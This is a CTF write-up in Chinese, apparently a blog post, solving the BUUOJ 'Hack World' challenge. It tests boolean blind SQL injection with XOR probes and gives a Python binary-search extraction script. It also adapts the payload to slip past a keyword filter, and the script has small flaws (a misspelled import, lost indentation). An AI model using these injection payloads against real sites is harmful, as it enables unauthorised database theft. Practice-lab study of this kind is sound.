Buuoj Hack World 题解


续接上文

打开靶机

同样是sql注入,题面已经提示我们flag在flag表的flag列里了

接下来我们只需要查询就好了

检测注入方式

输入1’ 回显bool(false)

没有报错信息

使用堆叠注入和联合查询 均回显SQL Injection Checked.

那只能考虑盲注,测试下是否有两种回显方式

使用1^11^0 测试

发现1^1时,回显Error

发现1^0时,回显Hello, glzjin wants a girlfriend.

说明可以使用盲注

直接跑脚本就行了

把昨天的脚本复制一下,post传参名称改为id就好了(题目提示要我们提供id)

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import times
import sys
url = ''
res = ''
for i in range(1,100):
left = 32
right = 128
mid = (left + right) // 2
while (left < right):
payload = {
"id" : "1^(ascii(substr((select(group_concat(flag))from(flag)),%d,1))<%d)"%(i,mid)
}
html = requests.post(url,data=payload)
print(payload)
time.sleep(0.04)
if "Error" in html.text:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
if mid <= 32 or mid >=127:
break
res +=chr(mid-1)
print(res)
print("Final Result:",res)

但是这里跑是跑不出结果的

问题分析

测试语句

1^(ascii(substr((select(group_concat(flag))from(flag)),1,1))<104) (因为flag的第一个字母f的ascii是102)

发现SQL Injection Checked

所以说某些词被检测到了

经测试…

当输入select(group_concat(flag))时,检测到了SQL注入

修改Payload

如果列内只有一个数据,可以不使用group_concat

因为flag列只有一个flag(

所以脚本payload改为

1^(ascii(substr((select(flag)from(flag)),%d,1))<%d)%(i,mid)

成功拿到flag

PS:不要直接copy我的flag,这个题是动态flag